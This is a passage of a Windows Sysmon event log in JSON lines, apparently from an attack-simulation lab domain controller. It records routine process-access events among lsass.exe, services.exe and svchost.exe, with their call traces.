C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":802,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":803,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":804,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":805,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1280\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041C30000}\r\nTargetProcessId: 1212\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1280","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041C30000}","TargetProcessId":"1212","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":806,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1280\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1280","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":807,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":808,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":809,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: 